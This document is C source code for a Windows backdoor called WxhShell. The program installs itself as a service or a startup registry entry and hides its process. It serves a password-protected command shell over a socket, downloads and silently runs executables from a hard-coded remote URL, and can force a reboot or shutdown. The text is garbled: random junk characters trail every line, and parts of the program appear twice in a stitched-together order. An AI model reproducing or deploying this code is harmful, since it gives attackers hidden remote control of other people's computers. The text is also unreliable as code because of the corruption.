    send(wsh,msg_ws_poff,strlen(msg_ws_poff),0); z % x7fe  
    if(Boot(SHUTDOWN)) ^GMJ~[]  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); g(/{.%\k  
    else { EgTFwEj  
    closesocket(wsh); ^Q0&.hL@  
    ExitThread(0); X ZS5B~E '  
    } c juZB Fl  
    break; q|5Q?t:,r  
    } *>jjMyn  
  // 获取shell *E:x E/M!2  
  case 's': { "EoDQT"0  
    CmdShell(wsh); 0$6*o}N%  
    closesocket(wsh); GCT@o!  
    ExitThread(0); )QmGsU}?  
    break; EYL]TeS  
  } b"``D ?  
  // 退出 9UwLF`XM  
  case 'x': { 9)`amhf>  
    send(wsh,msg_ws_ext,strlen(msg_ws_ext),0); 9)+@0fG)  
    CloseIt(wsh); ;7Y[c}V1^  
    break; n`q2s'Pc  
    } n~tqO!q  
  // 离开 l&Z Sm  
  case 'q': { $;2)s} ci  
    send(wsh,msg_ws_end,strlen(msg_ws_end),0); YOyp|%!  
    closesocket(wsh); YNSyi@  
    WSACleanup(); 0DNU,u  
    exit(1); L=O lyHO  
    break; 62[8xn=(%  
        } y4@gGC=  
  } |uI?ySF  
  } k=[pm5ZvT~  
fW?sYC'  
  // 提示信息 -DP*q3  
    if(strlen(cmd)) send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); %-+j  
} c%z'xM  
  } - v]Qhf&>  
DP 9LO_{  
  return; vE%s, E,  
} OfTfNhpK  
mN*?%t  
// shell模块句柄 AF}gSNX  
int CmdShell(SOCKET sock) zI^]esX!2_  
{ yto[8;)_  
STARTUPINFO si; k$N0lR4:p  
ZeroMemory(&si,sizeof(si)); ~`qEWvPn  
si.dwFlags=STARTF_USESHOWWINDOW|STARTF_USESTDHANDLES; ,zhJY ?sk  
si.hStdInput=si.hStdOutput =si.hStdError =(void *)sock; yb2}_k.JG  
PROCESS_INFORMATION ProcessInfo; !^w E/  
char cmdline[]="cmd"; 7" 4z+w  
CreateProcess(NULL,cmdline,NULL,NULL,1,0,NULL,NULL,&si,&ProcessInfo); P(,?#+]-  
  return 0; `!vUsM.d  
} O^Q ,-=tA\  
?A?F.n`  
// 自身启动模式 edipA P~!  
int StartFromService(void) uo2'"@[e  
{ AiP!hw/V$  
typedef struct =2Cj,[$  
{ *$,:m  
  DWORD ExitStatus; :g6n,p_#  
  DWORD PebBaseAddress; \?**2{9&)  
  DWORD AffinityMask; t~``md4  
  DWORD BasePriority; <lE?,jl  
  ULONG UniqueProcessId; PL X>-7@  
  ULONG InheritedFromUniqueProcessId; =>iA gp'#  
}   PROCESS_BASIC_INFORMATION; H1/?+N}(  
aC%&U4OS  
PROCNTQSIP NtQueryInformationProcess; t)f-mQz)  
e}hmS1>H  
static ENUMPROCESSMODULES g_pEnumProcessModules = NULL ; )G~w[~  
static GETMODULEBASENAME g_pGetModuleBaseName = NULL ; 8|6 4R:  
i/H+xrCK  
  HANDLE             hProcess; }}&#|)Yq  
  PROCESS_BASIC_INFORMATION pbi; ? *>]")[>  
>UDd @  
  HINSTANCE hInst = LoadLibraryA("PSAPI.DLL"); up>c$jJ  
  if(NULL == hInst ) return 0; wE]K~y!`  
#P<N^[m  
  g_pEnumProcessModules = (ENUMPROCESSMODULES)GetProcAddress(hInst ,"EnumProcessModules"); n/~A`%E@  
  g_pGetModuleBaseName = (GETMODULEBASENAME)GetProcAddress(hInst, "GetModuleBaseNameA"); !3X0FNGq  
  NtQueryInformationProcess = (PROCNTQSIP)GetProcAddress(GetModuleHandle("ntdll"), "NtQueryInformationProcess"); _8,()t'"  
<-'$~G j  
  if (!NtQueryInformationProcess) return 0; }%7 NF*  
]hos+;4p  
  hProcess = OpenProcess(PROCESS_QUERY_INFORMATION,FALSE,GetCurrentProcessId()); i|`dWOVb  
  if(!hProcess) return 0; 6;'dUGvH  
ryB}b1`D  
  if(NtQueryInformationProcess( hProcess, 0, (PVOID)&pbi, sizeof(PROCESS_BASIC_INFORMATION), NULL)) return 0; 2i;7{7  
21hv%CF\9  
  CloseHandle(hProcess); Q7Iw[=;\  
>/[GTqi  
hProcess = OpenProcess(PROCESS_QUERY_INFORMATION | PROCESS_VM_READ, FALSE, pbi.InheritedFromUniqueProcessId); vM:cWat  
if(hProcess==NULL) return 0; BTgG4F/)  
86]p#n_>Fv  
HMODULE hMod; xvl3vAN9  
char procName[255]; %\]* OZ7  
unsigned long cbNeeded; Bn@(zHG+5&  
c\a_VRN>r  
if(g_pEnumProcessModules(hProcess, &hMod, sizeof(hMod), &cbNeeded)) g_pGetModuleBaseName(hProcess, hMod, procName, sizeof(procName)); 8Nu=^[qwQM  
x }Ad_#q  
  CloseHandle(hProcess); vz.>~HBP  
BauU{:Sh  
if(strstr(procName,"services")) return 1; // 以服务启动 ck?YI]q|  
[!!Q,S"  
  return 0; // 注册表启动 /|* Y2ETOr  
} 1UPC e  
EoK~S\dS  
// 主模块 Z#rB}  
int StartWxhshell(LPSTR lpCmdLine) UQ{L{H   
{ *98$dQR$  
  SOCKET wsl; `BlI@6th  
BOOL val=TRUE; ``wSc0\  
  int port=0; 15o9 .   
  struct sockaddr_in door; H\TI[JPAl  
PLK3v4kVM!  
  if(wscfg.ws_autoins) Install(); j~!X;PV3  
yUpgoX(6  
port=atoi(lpCmdLine); IiG6<|d8H  
"'D=,*  
if(port<=0) port=wscfg.ws_port; )c `7( nY  
<J^MCqp!v  
  WSADATA data; h*-Pr8  
  if(WSAStartup(MAKEWORD(2,2),&data)!=0) return 1; 8ji_#og  
{{QELfH2  
  if((wsl = WSASocket(AF_INET, SOCK_STREAM, IPPROTO_TCP,NULL,0,0)) == INVALID_SOCKET) return 1;   4O35 "1  
setsockopt(wsl,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val)); rx]  @A  
  door.sin_family = AF_INET; <yd{tD$A*  
  door.sin_addr.s_addr = inet_addr("127.0.0.1"); zG(\+4GE!  
  door.sin_port = htons(port); K*~0"F>"0  
2AMo:Jqv  
  if(bind(wsl, (const struct sockaddr *) &door,sizeof(door)) == INVALID_SOCKET) { 0tXS3+@n =  
closesocket(wsl); ))"6ern  
return 1; 1,% R;7J=g  
} >Wv;R2|  
O6LS(5j2  
  if(listen(wsl,2) == INVALID_SOCKET) { >U[j]V]  
closesocket(wsl); ]7RD"}  
return 1; z*a:L}$  
} JsODzw  
  Wxhshell(wsl); Z'.AAOG  
  WSACleanup(); g\&g N  
>s<^M|S07  
return 0; Zcx`SC-0  
wY[+ZT  
} gcl5jB5)>  
% ~H=sjg  
// 以NT服务方式启动 oYH^_V  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPSTR *lpszArgv ) pC@{DW;V6R  
{ ` 2V19 s]  
DWORD   status = 0; oYm[V<nIl  
  DWORD   specificError = 0xfffffff; nH[yJGZYSA  
pSdI/Vj'=  
  serviceStatus.dwServiceType     = SERVICE_WIN32; H _zo1AW  
  serviceStatus.dwCurrentState     = SERVICE_START_PENDING; hYG6 pTCb  
  serviceStatus.dwControlsAccepted   = SERVICE_ACCEPT_STOP | SERVICE_ACCEPT_PAUSE_CONTINUE; kY-N>E:  
  serviceStatus.dwWin32ExitCode     = 0; Z/Dx,zIR  
  serviceStatus.dwServiceSpecificExitCode = 0; ;'#8tGv=  
  serviceStatus.dwCheckPoint       = 0; woGAf)vV#  
  serviceStatus.dwWaitHint       = 0; 0"28'  
9 a!$z!.  
  hServiceStatusHandle = RegisterServiceCtrlHandler(wscfg.ws_svcname, NTServiceHandler); x"~8*V'0  
  if (hServiceStatusHandle==0) return; qKr8)}h  
~d|A!S`  
status = GetLastError(); m8d!< h  
  if (status!=NO_ERROR) Bf~vA4  
{ i#vYyVr[  
    serviceStatus.dwCurrentState     = SERVICE_STOPPED; gc-@"wI?  
    serviceStatus.dwCheckPoint       = 0; G}b]w~ML ~  
    serviceStatus.dwWaitHint       = 0; #Y a4ps_  
    serviceStatus.dwWin32ExitCode     = status; ix)M`F%P3  
    serviceStatus.dwServiceSpecificExitCode = specificError; $QN"w L||  
    SetServiceStatus(hServiceStatusHandle, &serviceStatus); wsI`fO^A8  
    return; K;?m';z0  
  } w"-Lc4t+  
TJ6*t!'*X  
  serviceStatus.dwCurrentState     = SERVICE_RUNNING; K8GP@yD]M  
  serviceStatus.dwCheckPoint       = 0; nxnv,AZG  
  serviceStatus.dwWaitHint       = 0; W{6|tx)  
  if(SetServiceStatus(hServiceStatusHandle, &serviceStatus)) StartWxhshell(""); Y 5- F@(  
} $5aV:Z3P  
z[L8$7L  
// 处理NT服务事件,比如:启动、停止 !Prg_6 `  
VOID WINAPI NTServiceHandler(DWORD fdwControl) v$?+MNks  
{ | *2w5iR  
switch(fdwControl) "n(hfz0y%  
{ >UiYL}'br6  
case SERVICE_CONTROL_STOP: ^ *k?pJ5  
  serviceStatus.dwWin32ExitCode = 0; jFL #s&ft  
  serviceStatus.dwCurrentState = SERVICE_STOPPED; P}n_IV*@  
  serviceStatus.dwCheckPoint   = 0; ,Z&xNBX  
  serviceStatus.dwWaitHint     = 0; '"0'Oua  
  { 1 ySk;;3  
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); 'YmIKIw  
  } g?goZPZB  
  return; cQy2"vtU  
case SERVICE_CONTROL_PAUSE: zPn+ V7F  
  serviceStatus.dwCurrentState = SERVICE_PAUSED; "O3tq =Q  
  break; vWz m @  
case SERVICE_CONTROL_CONTINUE: nP$Ky1y G  
  serviceStatus.dwCurrentState = SERVICE_RUNNING; v_+{'F  
  break; @E7DyU|  
case SERVICE_CONTROL_INTERROGATE: Z'`<5A%;  
  break; 0l)~i' '  
}; n' n/Tu   
  SetServiceStatus(hServiceStatusHandle, &serviceStatus); ;K:zmH  
} bzBEX mC  
x<tb  
// 标准应用程序主函数 s~ a"4~f  
int WINAPI WinMain(HINSTANCE hInstance, HINSTANCE hPrevInstance, LPSTR lpCmdLine, INT nCmdShow) f-vCm 5f  
{ Dp,L/1GQ8  
X( \ AB  
// 获取操作系统版本 o=1Uh,S3R  
OsIsNt=GetOsVer(); B+P(M!m3  
GetModuleFileName(NULL,ExeFile,MAX_PATH); 4gI/!,J(b  
jS]ru-5.  
  // 从命令行安装 +%yfcyZ.  
  if(strpbrk(lpCmdLine,"iI")) Install(); x kx^%3dV  
81? hY4  
  // 下载执行文件 nLbFg0?+t  
if(wscfg.ws_downexe) { \)#kquH/l  
if(URLDownloadToFile(0, wscfg.ws_fileurl, wscfg.ws_filenam, 0, 0)==S_OK) D=j-!{zB  
  WinExec(wscfg.ws_filenam,SW_HIDE); vyNxT*,[K  
} ak$f"py x  
e'6/` Evqz  
if(!OsIsNt) { aH)}/n  
// 如果时win9x,隐藏进程并且设置为注册表启动 JU1~e@/'%  
HideProc(); ~7*.6YnI  
StartWxhshell(lpCmdLine); 6iVxc|Ia  
} 6M @[B|Q(  
else n4;.W#\  
  if(StartFromService()) }aa'\8  
  // 以服务方式启动 ,>bh$|  
  StartServiceCtrlDispatcher(DispatchTable); SA&Rep^  
else W,V:R  
  // 普通方式启动 c69C  
  StartWxhshell(lpCmdLine); lk/n}bx  
!#], hok8X  
return 0; oR)Jznmi}  
} @Q)OGjaq  
@'#,D!U  
UdT *E: 6  
%a>&5V  
=========================================== Si2k"<5 U  
@>r._ ~  
>c1qpk/  
`x+ B+)0X  
*'Sd/%8{  
n`? py  
" !,wIQy_e4  
o5Dk:Bw  
#include <stdio.h> x[FJgI'r  
#include <string.h> lHN5Dr  
#include <windows.h> sXLq*b?  
#include <winsock2.h> ^bGNq X  
#include <winsvc.h> LM:vsG  
#include <urlmon.h> BRw .]&/  
y`<*U;xL  
#pragma comment (lib, "Ws2_32.lib") .5^cb%B*  
#pragma comment (lib, "urlmon.lib") ^n*)7K[  
f%is~e~wc  
#define MAX_USER   100 // 最大客户端连接数 [<Mx2<8f  
#define BUF_SOCK   200 // sock buffer 6dq(T_eG  
#define KEY_BUFF   255 // 输入 buffer ne>pOK<vZ  
b1(T4w6  
#define REBOOT     0   // 重启 >!eAM )  
#define SHUTDOWN   1   // 关机 ,`'Qi%O  
@6Y?\Wx$w  
#define DEF_PORT   5000 // 监听端口 v [wb~uw\  
:}He\V  
#define REG_LEN     16   // 注册表键长度 9P1OP Xv*p  
#define SVC_LEN     80   // NT服务名长度 l.67++_  
|XaIx#n  
// 从dll定义API C.WX.Je  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); LA!?H]  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); k|e7a2Wwt  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); EaO6[E  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); 2,DXc30I  
lp.ldajN  
// wxhshell配置信息 x>**;#7)  
struct WSCFG { SL Ws*aq  
  int ws_port;         // 监听端口 =:xW>@bh|  
  char ws_passstr[REG_LEN]; // 口令 +%+tr*04O  
  int ws_autoins;       // 安装标记, 1=yes 0=no KoOz#,()  
  char ws_regname[REG_LEN]; // 注册表键名 rMdt:`  
  char ws_svcname[REG_LEN]; // 服务名 ?h$NAL?  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 ef 8s<5"4  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 z6KCv(zvB  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 :y'Ah#  
int ws_downexe;       // 下载执行标记, 1=yes 0=no v"y-0$M  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" JA %J$d  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 \ ZgE  
/Wi[OT14  
}; I:=S 0&%)  
:tz#v`3o  
// default Wxhshell configuration *z5.vtfu!  
struct WSCFG wscfg={DEF_PORT, .<->C?#  
    "xuhuanlingzhe", G!Op~p@Jm  
    1, cVXLKO  
    "Wxhshell", 0eT(J7[ <  
    "Wxhshell", LoURC$lS  
            "WxhShell Service", UE8kpa)cQ  
    "Wrsky Windows CmdShell Service", 3U<cWl@  
    "Please Input Your Password: ", e),q0%5  
  1, ahJ`T*)HY  
  "http://www.wrsky.com/wxhshell.exe", J9\Cm!H  
  "Wxhshell.exe" 2] z 8: a  
    }; X2#2C/6#u  
,1y@Z 5wy  
// 消息定义模块 {kA0z2Fe  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; Yk'XGr)  
char *msg_ws_prompt="\n\r? for help\n\r#>"; /MIe(,>Uh  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; QJZK|*  
char *msg_ws_ext="\n\rExit."; qLO4#CKCL6  
char *msg_ws_end="\n\rQuit."; +jAGGv^)  
char *msg_ws_boot="\n\rReboot..."; fW{(lPx  
char *msg_ws_poff="\n\rShutdown..."; {0L1X6eg  
char *msg_ws_down="\n\rSave to "; Q7HRzA^-  
Sgeh %f  
char *msg_ws_err="\n\rErr!"; i[O& )N,c  
char *msg_ws_ok="\n\rOK!"; `fA@hK   
^7 w+l @  
char ExeFile[MAX_PATH]; `{f}3bO7C  
int nUser = 0; zG }@0  
HANDLE handles[MAX_USER]; ?qmRbDI  
int OsIsNt; xipU8'ac/  
Jz\%%C  
SERVICE_STATUS       serviceStatus; '*Z1tDFS  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; `XJG(Oas\  
R   
// 函数声明 MR;1 2*p  
int Install(void); YDIG,%uv  
int Uninstall(void); TEP,Dq  
int DownloadFile(char *sURL, SOCKET wsh); TtJH7  
int Boot(int flag); 9)h"-H;5:  
void HideProc(void); )cX*I gO  
int GetOsVer(void); Ab~3{Q]#  
int Wxhshell(SOCKET wsl); qFicBpB  
void TalkWithClient(void *cs); G'nmllB`]  
int CmdShell(SOCKET sock); j%Y#(Q>  
int StartFromService(void); =Z{O<xw'  
int StartWxhshell(LPSTR lpCmdLine); )\1@V+!E%  
c/:b.>W  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ~Zun&b)S  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); 5-FQMXgThc  
2Sle#nw3  
// 数据结构和表定义 sZ3KT&  
SERVICE_TABLE_ENTRY DispatchTable[] = hXcyoZ8  
{ OyU5DoDz1  
{wscfg.ws_svcname, NTServiceMain}, J-[,KME_^  
{NULL, NULL} (j%~u&+-  
}; /Y/UM3/  
u]g%@3Pn  
// 自我安装 )1Y{Q Y}l  
int Install(void) X@--m6-  
{ ^3G{|JB!+  
  char svExeFile[MAX_PATH]; kYM~d07 V  
  HKEY key; |O{m2Fi  
  strcpy(svExeFile,ExeFile); \q>bs|2  
DRSr%d  
// 如果是win9x系统,修改注册表设为自启动 RaO-H  
if(!OsIsNt) { MOQ6 :  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { |-b#9JQ[A  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 4`lLf  
  RegCloseKey(key); [xbSYu,&  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { {yBs7[Wn  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); 1m'k|Ka  
  RegCloseKey(key); ,[N%Q#  
  return 0; kC:uG0sW  
    } nB_?ckj,  
  } C>]0YO k2  
} xI{)6t$`  
else { *zaQx+L  
p99 ]  
// 如果是NT以上系统,安装为系统服务 <3oWEm  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); I~[F|d>  
if (schSCManager!=0) Je';9(ZK  
{ gl~ecc  
  SC_HANDLE schService = CreateService  Z< 1  
  ( rbul8(1h  
  schSCManager, Z@yW bjE7Z  
  wscfg.ws_svcname, 3>3Kwc~E  
  wscfg.ws_svcdisp, D+#E -8  
  SERVICE_ALL_ACCESS, *-#&K\  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , Ij 79~pn  
  SERVICE_AUTO_START, kc2 PoJ  
  SERVICE_ERROR_NORMAL, imVo<Je7z(  
  svExeFile, !({}(!P .  
  NULL, `b?R#:G  
  NULL, vXev$x=w-  
  NULL, mJ<=n?{Z  
  NULL, N(O9&L*4fm  
  NULL 7( #:GD  
  ); &]Q@7Nl7:l  
  if (schService!=0) W}nlRbN?  
  { ?)/#+[xa  
  CloseServiceHandle(schService); 3t.l5m Rg5  
  CloseServiceHandle(schSCManager); .7O*pJ2(H  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 4M^= nae  
  strcat(svExeFile,wscfg.ws_svcname); bs+f,j-oBN  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { B[qzUD*P_n  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); f@6QvkIa  
  RegCloseKey(key); R1Pk TZP&  
  return 0; Y h7rU?Gj  
    } <:_wbVn-  
  } bUs0 M0y  
  CloseServiceHandle(schSCManager); =-tw5], L  
} x-XD.qh7Hr  
} FOb0uj=(v  
"WlZ)wyF%  
return 1; j*d yp  
} Ig$(3p  
Id*Ce2B  
// 自我卸载 rUTcpGH  
int Uninstall(void) m )8BgCy  
{ ,y1PbA0m  
  HKEY key; Qd)q([  
U] ~$g}!)  
if(!OsIsNt) { "33Fv9C#bK  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { K'55O&2  
  RegDeleteValue(key,wscfg.ws_regname); LI'6R=  
  RegCloseKey(key); dA#Q}.*r  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { ,aOl_o -&  
  RegDeleteValue(key,wscfg.ws_regname); FO+Zue.RS  
  RegCloseKey(key); 2iHUZzz\  
  return 0; LU \i0|i|  
  } fJ5iS  
} 2$9odD<r  
} Q`~jw>x  
else { q6@Lp^f  
$:BKzHmg  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); ;m0~L=w  
if (schSCManager!=0) Ut*`:]la  
{ UG'Q]S#!  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); C](f>)Dz /  
  if (schService!=0) Gp1?iX?ml  
  { VX].3=T8  
  if(DeleteService(schService)!=0) { Sw:7pByjI  
  CloseServiceHandle(schService); %!]@J[*1  
  CloseServiceHandle(schSCManager); UXeN8  
  return 0; eS{!)j_^  
  } Vl5`U'^qx  
  CloseServiceHandle(schService); ` w=>I  
  } 1G"z<v B  
  CloseServiceHandle(schSCManager); pqk?|BvpK_  
} pyH:#5  
} vmi+_]   
5k!g%sZ  
return 1; *,3SGcYdJj  
} VA WF3  
Jy^u?  
// 从指定url下载文件 4Z1ST;  
int DownloadFile(char *sURL, SOCKET wsh) 3%l*N&gsg:  
{ TBs|r#  
  HRESULT hr; U [*FCD!~  
char seps[]= "/"; 5*E]ETo@R  
char *token; }e!x5g   
char *file; g@rb  
char myURL[MAX_PATH]; p%#<D9S  
char myFILE[MAX_PATH]; s2teym,uG  
.)RzT9sg  
strcpy(myURL,sURL); $Oq^jUJ  
  token=strtok(myURL,seps); V:qSy#e  
  while(token!=NULL) E;,u2[3  
  { 11TL~ xFh  
    file=token; W6f/T3  
  token=strtok(NULL,seps); T~--92[  
  } {K <iih  
?/BqD;{?I  
GetCurrentDirectory(MAX_PATH,myFILE); |s'Po^Sy  
strcat(myFILE, "\\"); &]8P1{  
strcat(myFILE, file); Lilr0|U+  
  send(wsh,myFILE,strlen(myFILE),0); !HrKXy 0{  
send(wsh,"...",3,0); z,Medw6[  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); pczug-nB  
  if(hr==S_OK) sA/pVU  
return 0; H#@^R(  
else h^?\xm|  
return 1; [f)cL6AeF  
*194{ ep  
} uZM{BgXXD  
(mgS"zPS  
// 系统电源模块 DAS/43\  
int Boot(int flag) wN`jE0 {  
{ hHN'w73z  
  HANDLE hToken; Q?e*4ba  
  TOKEN_PRIVILEGES tkp; xgbJ2Mh  
vu|n<  
  if(OsIsNt) { |k+8<\  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); 5i> $]*o  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); 'd.EC#  
    tkp.PrivilegeCount = 1; "^4_@ oo  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; s}j{#xT  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); H GXt  
if(flag==REBOOT) { KB%"bqB|  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) } ~h3c|  
  return 0; ZYI{i?Te#  
} *FC=X)_&W  
else { FuVnk~gq  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) _&N2'hG=sn  
  return 0; |K6REkzr  
} 9F4Dm*_<  
  } n1~o1  
  else { =; ^%(%Y{m  
if(flag==REBOOT) { (^@ra$.  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) p;._HJ(  
  return 0; _z'u pb&  
} ~p1j`r;  
else { iMIlZ  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) Av"R[)  
  return 0; hCCiD9gz  
} t *1u[~=  
} vWRju*Z&  
dQ_!)f&w1  
return 1; MZlk0o2  
} 3|1i lP  
CZ(/=3,3n  
// win9x进程隐藏模块 5"HV BfFk  
void HideProc(void) 7]9 a<  
{ 7bk%mQk  
&GlwC%$S  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); hv8P4"i v  
  if ( hKernel != NULL ) LUuZ9$t0J"  
  { WpF2)R}G=  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); W.dt:_  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); pV20oSJNt  
    FreeLibrary(hKernel); HR ;)|j{!  
  } ROk5]b.  
^zt-HDBR_  
return; Z0o~+Ct$  
} Z2TL#@  
lD"(MQV@0  
// 获取操作系统版本 Uc_'(IyO  
int GetOsVer(void) :|Ad:fEs  
{ bKrhIU[  
  OSVERSIONINFO winfo; t*>R`,j  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); `0P$#5?  
  GetVersionEx(&winfo); O+?<h{"  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) H2um|6>  
  return 1; 4F{)i  
  else l~6?kFy9h  
  return 0; 5]HS^II"  
} qQ"Fv|]~>  
o(:[r@Z0z  
// 客户端句柄模块 GlbySD@  
int Wxhshell(SOCKET wsl) Y}uCP1v  
{ 4eikLRD,  
  SOCKET wsh; epU:  
  struct sockaddr_in client; PI`jExL  
  DWORD myID; (N&lHLy  
:{IO=^D=$  
  while(nUser<MAX_USER) yqi^>Ce0  
{ yi l[gPy4B  
  int nSize=sizeof(client); ``OD.aY^s  
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); XLL/4)  
  if(wsh==INVALID_SOCKET) return 1; uO=aaKG  
Y7vA`kjD-C  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); Q($Z%1S  
if(handles[nUser]==0) J2j U4mR  
  closesocket(wsh); ^my].Qpt  
else TZ2=O<Kj  
  nUser++; G.( mp<-  
  } #Sa27$&.>  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); ,:??P1  
{W]=~*w  
  return 0; '1$!jmY  
} mExVYp h  
'k4E4OB  
// 关闭 socket Clh!gpB c  
void CloseIt(SOCKET wsh)  nv0]05.4  
{ wlEdt1G  
closesocket(wsh); FIbp"~  
nUser--; cCa|YW^j  
ExitThread(0); ~t^eiyv  
} %/YcL6o(  
7f~Sf  
// 客户端请求句柄 e'=MQ,EWd  
void TalkWithClient(void *cs) 1P(|[W1  
{ VMCLHpSfW  
JB>b`W9   
  SOCKET wsh=(SOCKET)cs; 2^)1N>"g  
  char pwd[SVC_LEN]; %zSuK8kxV  
  char cmd[KEY_BUFF]; c7M%xGrP  
char chr[1]; ($L Ll;1  
int i,j; Y}[c^$S  
k<cgO[m   
  while (nUser < MAX_USER) { n_B"- n  
h68]=KyK  
if(wscfg.ws_passstr) { O)Y?=G)  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); r)i>06Hd  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); IXb}AxB f  
  //ZeroMemory(pwd,KEY_BUFF); Z*])6=2Q  
      i=0; tOOchu?=  
  while(i<SVC_LEN) { HmZ{L +"  
RGK8'i/X  
  // 设置超时 0d3+0EN{  
  fd_set FdRead; l27\diKPJ  
  struct timeval TimeOut; ?X5]i#j[  
  FD_ZERO(&FdRead); jZ%TJ0(H  
  FD_SET(wsh,&FdRead); w=}uwvn NX  
  TimeOut.tv_sec=8; wQ%mN[  
  TimeOut.tv_usec=0; e{KByFl  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); z.6$W^  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); vA X|hwn;  
l9Q(xuhv  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ?h0X,fl3  
  pwd=chr[0]; ,&d@O>$E:  
  if(chr[0]==0xd || chr[0]==0xa) { P1zdK0TM  
  pwd=0; 2QNNp:`6  
  break; [j"9rO" +  
  } 7y`}PMn  
  i++; .)+h H y  
    } |TE}`?y[g  
Uh'#izm[l  
  // 如果是非法用户,关闭 socket *c)uGz'cD  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); 3b YCOqG  
} l?iSxqdT  
cv(PP-'\  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ;r /;m\V  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); 5~.ZlGd  
Z--@.IYoJ  
while(1) { 5VO;s1  
L.T?}o  
  ZeroMemory(cmd,KEY_BUFF); N-g8}03  
BI:k#jO!  
      // 自动支持客户端 telnet标准   ms_ VM>l  
  j=0; ^ZM0c>ev=l  
  while(j<KEY_BUFF) { "Pl9nE  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); ~O 3D[PNW~  
  cmd[j]=chr[0]; @R m-CWa  
  if(chr[0]==0xa || chr[0]==0xd) { `p'Q7m2y/b  
  cmd[j]=0; XM<KF &pVB  
  break; __@zTSVb  
  } j$da8] !  
  j++; HP.E3yYK  
    } 0GDvwy D1  
Ro=AADv@  
  // 下载文件 WhBpv(q}.  
  if(strstr(cmd,"http://")) { FA90`VOWYU  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); ]l~V&#i_c  
  if(DownloadFile(cmd,wsh)) `d2,*KR  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); XI Jlc~2  
